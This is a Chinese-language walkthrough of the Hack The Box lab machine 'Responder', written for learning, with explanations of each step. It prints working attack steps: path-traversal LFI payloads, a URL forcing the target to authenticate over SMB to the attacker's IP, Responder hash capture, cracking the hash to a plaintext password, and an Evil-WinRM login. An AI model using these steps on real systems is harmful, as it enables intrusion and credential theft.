Hack The Box 实战|Responder
Hack The Box 实战|Responder:从 LFI 到管理员哈希
Hack The Box 学习之旅 · #02
|
Hack The Box 学习之旅 · #02 本文记录 HTB 简单难度靶机 Responder 的完整渗透测试过程。 |
这次实战围绕 Windows 机器上的 LFI 漏洞展开。
通过文件包含漏洞加 SMB 协议触发 NTLM 认证,用 Responder 抓到管理员的 NetNTLMv2 哈希,再靠 John the Ripper 破出明文密码,最后 WinRM 远程登录拿到 flag。
不只是记"怎么打",每一步背后的原理和思路我也都梳理了一遍。
— 01 —
靶机信息
先看一下基本信息。
|
靶机 |
Responder |
|
平台 |
Hack The Box |
|
难度 |
Easy |
|
系统 |
Windows |
|
域名 |
unika.htb |
|
目标 |
获取 flag |
|
⚠️ 免责声明 本文内容仅用于 Hack The Box 等合法授权环境中的网络安全学习与技术研究。请勿将相关技术用于未经授权的系统。 |
— 02 —
整体攻击路径
这台靶机核心不在某个复杂漏洞,而是把 LFI 和 Windows NTLM 认证机制串起来,形成一条完整的攻击链。
信息收集(Nmap) │ 发现 HTTP + WinRM ▼ 访问 Web 服务 │ 域名重定向 → 改 /etc/hosts ▼ 发现 LFI 漏洞(page 参数) │ 构造 SMB 路径触发认证 ▼ Responder 捕获 NetNTLMv2 │ John the Ripper 破解 ▼ Administrator / badminton │ Evil-WinRM 登录 ▼ 🏆 获取 flag
整条链的逻辑其实很清晰。
Nmap 扫到 80 和 5985 两个端口,一个是 Web,一个是 WinRM。访问 Web 发现域名重定向,改 hosts 进去之后发现 page 参数存在文件包含。然后用 SMB 路径触发 Windows 的 NTLM 认证,Responder 抓到哈希,John 破解,WinRM 登录。
一步一步来。
— 03 —
逐步利用
信息收集:Nmap 端口扫描
第一件事,nmap 扫一下。
nmap -sV 10.129.226.52
-sV 探测目标端口上运行的服务版本信息,帮判断可利用的攻击面。
结果出来了。
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
两个关键信息。
80 端口跑的是 Apache + PHP,Windows 64 位系统。5985 是 WinRM,这个端口开放意味着如果拿到合法凭证,可以直接远程登录拿 PowerShell。
|
💡 关键判断 目标运行 Windows,Web 服务为 Apache + PHP。5985 端口开放意味着拿到凭证就能 WinRM 远程登录。 |
— 04 —
访问 Web:域名重定向
curl 看一下响应头。
curl -i -L http://10.129.226.52
服务器返回了一个重定向,指向 http://unika.htb/。
HTTP/1.1 200 OK Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 X-Powered-By: PHP/8.1.1 Content-Type: text/html; charset=UTF-8 <meta http-equiv="refresh" content="0;url=http://unika.htb/">
这里涉及一个概念,叫基于名称的虚拟主机。
一台服务器可以托管多个域名,每个域名有独立的内容,但共享同一个 IP。服务器通过 HTTP 请求头里的 Host 字段来区分你要访问哪个网站。
Host: unika.htb 就告诉服务器我要访问的是 unika 这个站。
但 unika.htb 不是公网真实域名,DNS 查不到,所以得手动加一条本地解析。
echo "10.129.226.52 unika.htb" | sudo tee -a /etc/hosts
把目标 IP 和域名写到 /etc/hosts 里,之后浏览器访问 unika.htb 就能解析到目标了。
进去了,是个多语言切换的网页。
— 05 —
发现 LFI 漏洞
浏览网站的时候注意到 URL 长这样。
http://unika.htb/index.php?page=french.html
网站通过 page 参数决定加载哪个语言版本的页面。page=french.html 就加载法语页面。
如果这个参数没做过滤,攻击者就能通过它让服务器加载本不该被访问的文件。这就是 LFI,本地文件包含漏洞。
根本原因在后端 PHP 代码用了 include() 函数。
<?php include($_GET['page']); ?>
include() 把参数当文件路径加载,参数是攻击者控制的,就能加载任意文件。
验证一下,构造路径读 Windows 系统文件。
curl -i -L "http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts"
成功了,返回了 Windows 的 hosts 文件内容。
# Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost
确认,网站存在 LFI 漏洞。
|
💡 LFI vs RFI LFI 是让服务器加载本地文件,RFI 是让服务器加载远程文件。PHP 配置 allow_url_include 默认 Off,阻止了通过 HTTP/FTP 的 RFI 攻击。但 SMB 协议不受此限制。这就是整个攻击链的关键突破点。 |
— 06 —
LFI + SMB:触发 NTLM 认证
这一步是整条链里最巧妙的一环。
我们已经确认网站存在 LFI,目标又是 Windows 机器。那能不能让目标服务器通过 SMB 协议来访问我们攻击机上的文件?
如果可以,Windows 在访问 SMB 共享时会自动发起 NTLM 认证,我们就能在攻击机上抓到哈希。
攻击链逻辑是这样的。
网站存在 LFI(include() 未过滤 page 参数) ↓ 目标服务器是 Windows ↓ 构造 SMB 路径让目标访问攻击机 ↓ Windows 自动发起 NTLM 认证 ↓ Responder 捕获 NetNTLMv2
这里需要理解 NTLM 认证的过程。
NTLM 是微软的认证协议,采用挑战-响应机制。服务器发一个随机挑战值,客户端用密码哈希加密后返回响应。这个网络上传输的认证字符串就是 NetNTLMv2。
客户端 服务器 │ │ │ 1. 请求访问资源 │ │ ──────────────────────────> │ │ 2. 返回随机 Challenge │ │ <────────────────────────── │ │ 3. 用密码哈希加密 Challenge │ │ 生成 Response │ │ ──────────────────────────> │ │ 4. 验证 Response │
拿到 NetNTLMv2 之后,可以暴力破解出明文密码,也可以用于 NTLM Relay 攻击。
关键在于:PHP 的 allow_url_include 阻止了 HTTP/FTP 的远程包含,但 SMB 协议不在限制范围内。一个配置项的遗漏,就打开了一扇门。
— 07 —
Responder 捕获哈希
攻击机上启动 Responder,监听 VPN 隧道接口。
sudo responder -I tun0
-I 指定监听的网络接口。tun0 是 OpenVPN 隧道接口,HTB 常用。
Responder 启动后开启了 LLMNR、NBT-NS、SMB、HTTP 等多个协议的监听。
然后在浏览器里访问这个 URL,让目标服务器通过 SMB 去访问攻击机。
http://unika.htb/index.php?page=//10.10.17.83/somefile
完整认证流程走一遍。
1. 目标收到 page=//10.10.17.83/somefile ↓ 2. PHP 的 include() 尝试加载 SMB 路径 ↓ 3. Windows 去访问 \10.10.17.83somefile ↓ 4. 访问 SMB 共享需要认证 → 自动发起 NTLM ↓ 5. Responder 伪装成 SMB 服务器发回 challenge ↓ 6. Windows 用密码哈希加密 challenge 返回响应 ↓ 7. Responder 捕获 challenge + response = NetNTLMv2
Responder 抓到了。
[SMB] NTLMv2-SSP Client : 10.129.226.228 [SMB] NTLMv2-SSP Username : RESPONDER\Administrator [SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:3eeec67e2a3733ed: FACEB5A11292DB7C02C4F379C4E00204:0101000000000000...
Administrator 的 NetNTLMv2 哈希,到手了。
接下来就是破解。
— 08 —
John the Ripper 破解哈希
先把抓到的完整哈希存到文件里。
echo "Administrator::RESPONDER:3eeec67e2a3733ed:FACEB5A11292DB7C02C4F379C4E00204:0101000000000000..." > hash.txt
解压 Kali 自带的 rockyou 字典。
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
John 跑起来。
john -w=/usr/share/wordlists/rockyou.txt hash.txt
几秒就出来了。
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) badminton (Administrator) 1g 0:00:00:00 DONE
Administrator : badminton
密码是 badminton,羽毛球。
在 rockyou 字典里,几秒就被破了。
— 09 —
Evil-WinRM 登录拿 flag
扫描时已经发现 5985 端口开放,这是 WinRM。现在有了用户名和密码,可以直接远程登录。
Linux 上没有 PowerShell,用 Evil-WinRM 这个专门工具。
evil-winrm -i 10.129.226.228 -u administrator -p badminton
进去了,Administrator 的 PowerShell。
Evil-WinRM shell v3.9 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents>
看看有哪些用户。
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir C:\Users Directory: C:\Users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 3/9/2022 5:35 PM Administrator d----- 3/9/2022 5:33 PM mike d-r--- 10/10/2020 12:37 PM Public
mike 的桌面上有个 flag.txt。
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\mike\Desktop\flag.txt ea81b7afddd03efaa0945333ed147fac
flag 到手,Responder 攻破完成。
— 10 —
攻击链总结
这台靶机最值得学的,是怎么把一个看似简单的文件包含漏洞和 Windows 认证机制串起来。
┌─────────────────┐ │ Nmap 扫描 │ └───────┬─────────┘ │ 发现 HTTP + WinRM ▼ ┌─────────────────┐ │ 访问 Web 服务 │ → 域名重定向 → /etc/hosts └───────┬─────────┘ ▼ ┌─────────────────┐ │ 发现 LFI 漏洞 │ → page 参数未过滤 └───────┬─────────┘ ▼ ┌─────────────────┐ │ 构造 SMB 路径 │ → 触发 NTLM 认证 └───────┬─────────┘ ▼ ┌─────────────────┐ │ Responder 监听 │ → 捕获 NetNTLMv2 └───────┬─────────┘ ▼ ┌─────────────────┐ │ John 破解哈希 │ → badminton └───────┬─────────┘ ▼ ┌─────────────────┐ │ Evil-WinRM │ → 5985 端口 └───────┬─────────┘ ▼ ┌─────────────────┐ │ Administrator │ └───────┬─────────┘ ▼ ┌─────────────────┐ │ 🏆 获取 flag │ └─────────────────┘
— 11 —
涉及的知识点
通过这台靶机可以重点学的。
Windows 安全 ├── Nmap 端口扫描 ├── 虚拟主机(Virtual Hosting) ├── /etc/hosts 域名解析 ├── LFI(本地文件包含) ├── RFI(远程文件包含) ├── PHP include() 漏洞 ├── allow_url_include 配置 ├── SMB 协议 ├── NTLM 认证协议 │ ├── Challenge-Response │ ├── NTHash │ └── NetNTLMv2 ├── Responder 工具 ├── John the Ripper ├── rockyou 字典 ├── WinRM(5985 端口) └── Evil-WinRM
— 12 —
靶机复盘
三个核心思路。
① 一个简单漏洞可以引发连锁攻击
LFI 本身看起来只是能读取文件。但当它和 Windows NTLM 认证机制结合后,就变成了捕获用户哈希的利器。
关键在于思考:这个漏洞还能和什么机制结合,产生更大的影响。
LFI(单独看) → 只能读取本地文件 LFI + SMB → 触发 NTLM 认证 LFI + SMB + Responder → 捕获 NetNTLMv2 哈希
② 理解协议差异比记住 payload 更重要
PHP 的 allow_url_include 默认关闭,阻止了通过 HTTP/FTP 的 RFI。但 SMB 协议不受此限制。
安全防护不仅要看配置项,还要理解配置项覆盖了哪些协议、遗漏了哪些协议。
allow_url_include = Off ├── HTTP URL → 被阻止 ✅ ├── FTP URL → 被阻止 ✅ └── SMB URL → 不受限制 ❌ ← 漏洞在此
③ 哈希破解是"最后一公里"的关键
拿到 NetNTLMv2 哈希后,并不意味着直接获得了访问权限。还需要通过字典攻击还原出明文密码。
badminton 出现在 rockyou 字典中,几秒就被破了。即便认证机制本身没有漏洞,弱密码也会让整个防御体系形同虚设。
— 13 —
结语
Responder 的完整攻击链到这里就结束了。
从最初的 Nmap 扫描,一路经过域名重定向、LFI 漏洞利用、SMB 协议触发认证、NetNTLMv2 哈希捕获、字典破解明文密码、WinRM 远程登录,最终拿到 flag。
对于刚开始学 Web 安全和 Windows 认证机制的同学来说,这台靶机很适合用来理解一个核心概念。
|
安全攻击的本质,很多时候是把不同层面的弱点串联起来。一个"无害"的文件包含漏洞,加上一个"被忽略"的 SMB 协议例外,最终导致管理员凭证泄露。 |
Hack The Box 学习之旅 · 下一篇
下一台靶机,继续从信息收集开始,拆解新的攻击路径。

浙公网安备 33010602011771号